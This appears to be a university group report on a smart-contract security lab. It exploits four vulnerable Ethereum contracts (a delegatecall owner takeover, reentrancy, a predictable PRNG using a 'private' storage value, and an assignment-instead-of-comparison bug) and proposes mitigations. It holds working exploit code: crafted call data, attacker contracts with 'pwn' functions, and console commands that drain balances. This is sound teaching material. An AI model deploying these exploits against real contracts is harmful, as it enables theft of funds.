Project 2 – Smart Contracts

Group 04

Our group consists of the following members:

Tobias Eidelpes, Mehmet Ege Demirsoy, Nejra Komic
01527193, 01641187, 11719704

Exercise A: Bad Parity

For this challenge we were given two contracts: `Wallet` and `WalletLibrary`. The second contract is used by the `Wallet` contract to set the owner upon initialization, to get the current owner, to change the owner and to withdraw funds from the wallet. These functions are called from the `Wallet` contract through the use of the `delegatecall` function. In contrast to a regular `call`, `delegatecall` executes the function in the context of the *calling* smart contract. This means that if there happens to be a variable in both contracts with the same name and a function changes that variable, the *caller's* and not the *callee's* variable is changed. If insufficient care is exercised during programming, the semantics of `delegatecall` can have serious security implications, as in this case with `Wallet` and `WalletLibrary`.

The `fallback` function in `Wallet` is called when the smart contract receives a transaction with empty call data or call data which does not match any other function. The call data sent with the transaction is then passed to the `WalletLibrary` contract via `delegatecall`. The `WalletLibrary` contract has a function called `initWallet` which sets the owner of the contract to the given address. Usually this function would be called only upon initialization of the contract (in the constructor for example). We can call this function at any time by supplying the correct call data to the `fallback` function from the `Wallet` contract. Since the function is then called via `delegatecall`, the owner of the `Wallet` contract is changed to an address of our choosing.

To trigger the `initWallet` function, the call data must contain the signature of the function and all parameters. The function signature is the first four bytes of the keccak hash of the function name and the types of its parameters. Any parameters are added to the signature in a padded form. Creating the call data in python works as follows (where `address` is the address of the new owner):

```python
sig = w3.keccak(text='initWallet(address)')[:4].hex() + address[2:].rjust(64, '0')
# sig = 0x9da8be21000000000000000000000000f9ac06BAeb6597511C22Dc7b03DA447cA893fb4e
```

We can then send this call data to the contract (via the geth console):

```
eth.sendTransaction({
  from: student,
  to: badparityAddress,
  data: "0x9da8be21000000000000000000000000f9ac06BAeb6597511C22Dc7b03DA447cA893fb4e",
  gas: "80000"
});
```

The owner of the `Wallet` contract is now our own address. Since we are the owner, we can call the `withdraw` function from the `Wallet` contract:

```
sig = w3.keccak(text='withdraw(uint256)')[:4].hex() + hex(30000000000000000000)[2:].rjust(64,
↪  '0')
# sig = 0x2e1a7d4d000000000000000000000000000000000000000000000001a055690d9db80000
eth.sendTransaction({
  from: student,
  to: badparityAddress,
  data: "0x2e1a7d4d000000000000000000000000000000000000000000000001a055690d9db80000",
  gas: "80000"
});
```

Our own balance has increased by 30 Ether.

To mitigate this vulnerability the contract should use `call` instead of `delegatecall`.

Exercise B: DAO Down

In this challenge we were given one contract called `EDao`. It allows investors to fund addresses and those addresses can then withdraw the funding they received. There is a bug in the `withdraw` function, however, which allows an already funded address to withdraw more than it should be able to. If the funded address is a contract address, the contract can exploit the `withdraw` function by repeatedly withdrawing their funding. This is possible because the internal balance of how much funds an address can withdraw is only changed *after* the funding is paid out to the receiver. For this to work, a malicious contract has to have a `fallback` function which calls the `withdraw` function again. When the `fallback` function is called, the code execution recurses into the `withdraw` function and passes all balance checks because the balance has not yet been changed. The payout proceeds a second time and the `fallback` function is called again until the balance of the `EDao` contract is zero. This type of attack is called a *reentrancy attack*.

In practice the following contract (or a variation thereof) has to be deployed to the blockchain and the address of the deployed contract has to be funded with one Ether in the `EDao` contract:

```
pragma solidity ^0.8.0;

contract Hacker {
    address public owner;
    address public challengeAddress;

    modifier onlyOwner() {
        require(msg.sender == owner, "Caller is not owner");
        _;
    }

    constructor (address _challengeAddress) {
        owner = msg.sender;
        challengeAddress = _challengeAddress;
    }

    function pwn() public {
        (bool success, ) = challengeAddress.call(
            abi.encodeWithSignature("withdraw(address,uint256)", address(this), 1 ether)
        );

        if (!success) revert();
    }

    function withdraw() external onlyOwner {
        selfdestruct(payable(owner));
    }

    fallback() external payable {
        if (challengeAddress.balance >= 1 ether) pwn();
    }
}
```

An attacker can manually call the contract's `pwn` function and execute the exploit. The malicious contract has successfully siphoned off `EDao`'s balance. Finally, the attacker calls the `withdraw` function of the malicious contract and the balance is transferred to the attacker.

Mitigating reentrancy attacks is commonly done through two means. Either the contract performs changes to its state *before* executing the call or functions which perform calls to external addresses are wrapped in a modifier with mutex-like functionality. In the former approach a malicious contract will not be able to execute the call to its own `fallback` function an additional time because the balance checks fail. In the latter approach a boolean variable is set to `true` when the function is executing the first time. Before the function can be executed a second time, the contract checks whether the variable is set to `true`. If it is, the transaction is aborted.

Exercise C: Fail Dice

In this challenge we were given some form of a gambling contract, which promises 10 times the ether, with which user participates. The idea is, a user submits a number along with some ether and a random number is generated with the help of a method. User's number and randomly generated number are added together and if the result is exactly 42, then user earns 10 times the ether.(if the 10 times the participant's ether value is bigger than the contract balance, then contract sends all the balance it has.) Now let's take a look at the method, which generates the random number:

```
function PRNG(address sender) private view returns(uint8){
    // Totally "awesome" PRNG
    //return uint8(keccak256(abi.encodePacked(sender, block.coinbase, now, big_secret)));
    return uint8(uint(keccak256(abi.encodePacked(sender, block.coinbase, now, big_secret))));
}
```

Since blockchain is a deterministic data structure, anyone can produce the outcome of the PRNG function, given that they know the parameters/seeds used to generate randomness. Let's take a look at the parameters used in generation of a number:

- **sender** is the address who is participating in the gambling.
- **block.coinbase** points to the address of the miner node which included the transaction in its block. So every transaction in the same block will have the same value.
- **now** is equal to the **block.timestamp** variable, which returns the number of seconds passed since the Epoch. So every transaction in the same block will have the same value.
- **big_secret** is a private variable declared at the top of this contract.

It seems like out of all parameters used, all of them except **big_secret** variable can be known, because **big_secret** is a private variable, right?

What is stored on public blockchains, whether with public or private modifiers, are still accessible by anyone, because Ethereum Virtual Machine saves smart contract data in "slots" in the order of the variables declared and anyone with an access to web3 can inspect the data in these slots, if they know the address of the contract. In conclusion, using private modifier only prohibits the access of other contracts to the private variables or functions. With this knowledge, we can start the first step of our exploit, which is retrieving the value of the **big_secret**:

```
//pragma solidity ^0.4.12;
pragma solidity ^0.5.4;

contract SatoshiFailDice{
    // Hint: use web3.toInt() when converting bytes to soldity uint - else values may not match
    uint private big_secret;
    address student;
    address private owner;
...
```

Now we can see above that the variable we are looking for is declared first, meaning that it has to be stored in the "slot 0". By using geth console we can learn what's stored in the "slot 0" of this contract:

```
// Assume failDiceContractAddress is already initialized.
eth.getStorageAt(failDiceContractAddress, 0); // Returned value is unique to every student, but
↪  let's assume the return value is
↪  "0xc0343f9c49df15c65b456c551da8926a7841ef9ad444edb606b097af9591802d"
```

After completing this step, we now know all the parameters that is used in creating a random number. Now we can write a malicious contract that can generate the same random number, which will be generated by the contract in a specific block, remove this number from 42 to find out which number to submit as our participation number:

```solidity
pragma solidity ^0.5.4;

contract MaliciousFailDiceContract {
    uint big_secret = 0xc0343f9c49df15c65b456c551da8926a7841ef9ad444edb606b097af9591802d;
    address payable owner;
    address payable challengeAddress;

    modifier onlyOwner() {
        require(msg.sender == owner, "Caller is not owner");
        _;
    }

    constructor (address payable _challengeAddress) {
        owner = msg.sender;
        challengeAddress = _challengeAddress;
    }

    function pwn() external payable {
        require(msg.value == 4 ether, "Must supply 4 ether");
        uint8 contract_roll = PRNG();
        uint8 user_roll = 42 - contract_roll;

        (bool success, ) = challengeAddress.call.value(msg.value)(
            abi.encodeWithSignature("rollDice(uint8)", user_roll)
        );

        if (!success) revert();
    }

    function PRNG() private view returns (uint8) {
        return uint8(uint(keccak256(abi.encodePacked(address(this), block.coinbase,
↪   block.timestamp, big_secret))));
    }

    function withdraw() external onlyOwner {
        selfdestruct(owner);
    }

    function() external payable { }
}

```

We will call the pwn function to start the exploit. This function will require a minimum of 4 ether. 10 times 4 is bigger than the balance of the FailDice contract (30 Ether), but this is to guarantee that we will drain all the funds. Inside the pwn function, the PRNG function is called to generate the exact same random number that will be generated by the FailDice contract. Since pwn function sends a transaction to the FailDice contract at the end, both calls will be in the same block, thus block.coinbase and block.timestamp/now will produce same output in both contracts. After the pwn function submits a participation with 4 ether and a number obtained by subtracting the random number from 42, it will receive all the balance of the FailDice contract, basically winning the 10x bet. Now all's left to call the withdraw function as the malicious contract owner and we will transfer all the balance of our contract to our address. The code for explained steps above follows:

```
// Assume maliciousFailDice contract is already deployed and an instance of the deployed contract is in variable maliciousFailDiceContractInstance
maliciousFailDiceContractInstance.pwn({from:student, value: web3.toWei(4, 'ether')}); // call pwn function
maliciousFailDiceContractInstance.withdraw({from:student}); // withdraw the malicious contract balance
```

Conclusion is that do not use private variables for the purpose of hiding them from anyone. Private modifiers should be used for the cases where we do not want other contracts to use or access the variables or functions. Since Solidity contracts are deterministic, there is no true random number generation possible using only Solidity contract code. Though with the use of oracle services such as Chainlink, one can retrieve generate a random number outside of the blockchain and bring this data into the blockchain.

Exercise D: Not A Wallet

In this challenge we were expected to exploit a wallet contract and drain its funds. The contract itself has a main owner which is set as the creator of the contract in the constructor. Aside from the main owner, there is also an owners variable, which stores multiple owner addresses in the contract. The idea behind is that anyone can deposit money by sending any value to the deposit function, yet only owners can withdraw, add a new owner or remove an owner. The bug can be found in the removeOwner function itself:

```
function removeOwner(address oldowner) public rightStudent {
        require(owners[msg.sender] = true);
                owners[oldowner] = false;
    }
```

The writer of this contract wanted to check if the message sender is an owner, but instead of using the equals operator (==), he/she used assignment operator (=), which ends up making the sender of the message an owner by assigning true value to the sender address key in owners mapping. To exploit this contract and drain its funds, as student, its enough to first call the removeOwner method with the owner address as parameter and then withdraw function from the geth console:

```
// Assume walletContractAbi, walletContractAddress and studentAddress variables are already initialized.
var walletContract = eth.contract(walletContractAbi);
var walletContractInstance = walletContract.at(walletContractAddress);
walletContractInstance.removeOwner(walletContractInstance.owner.call(), {from:studentAddress});
walletContractInstance.isOwner(studentAddress); // should return true
walletContractInstance.withdraw(web3.toWei(10,'ether'), {from:studentAddress}); //withdraw all 10 ether in contract
```

This bug seems to be caused by a typo and therefore could have been avoided if the function looked like following:

```
function removeOwner(address oldowner) public rightStudent {
        require(owners[msg.sender] == true);
                owners[oldowner] = false;
    }
```

Work distribution

Tobias Eidelpes Report for Bad Parity and DAO Down.

Mehmet Ege Demirsoy Report for Fail Dice

Nejra Komic Report for Not A Wallet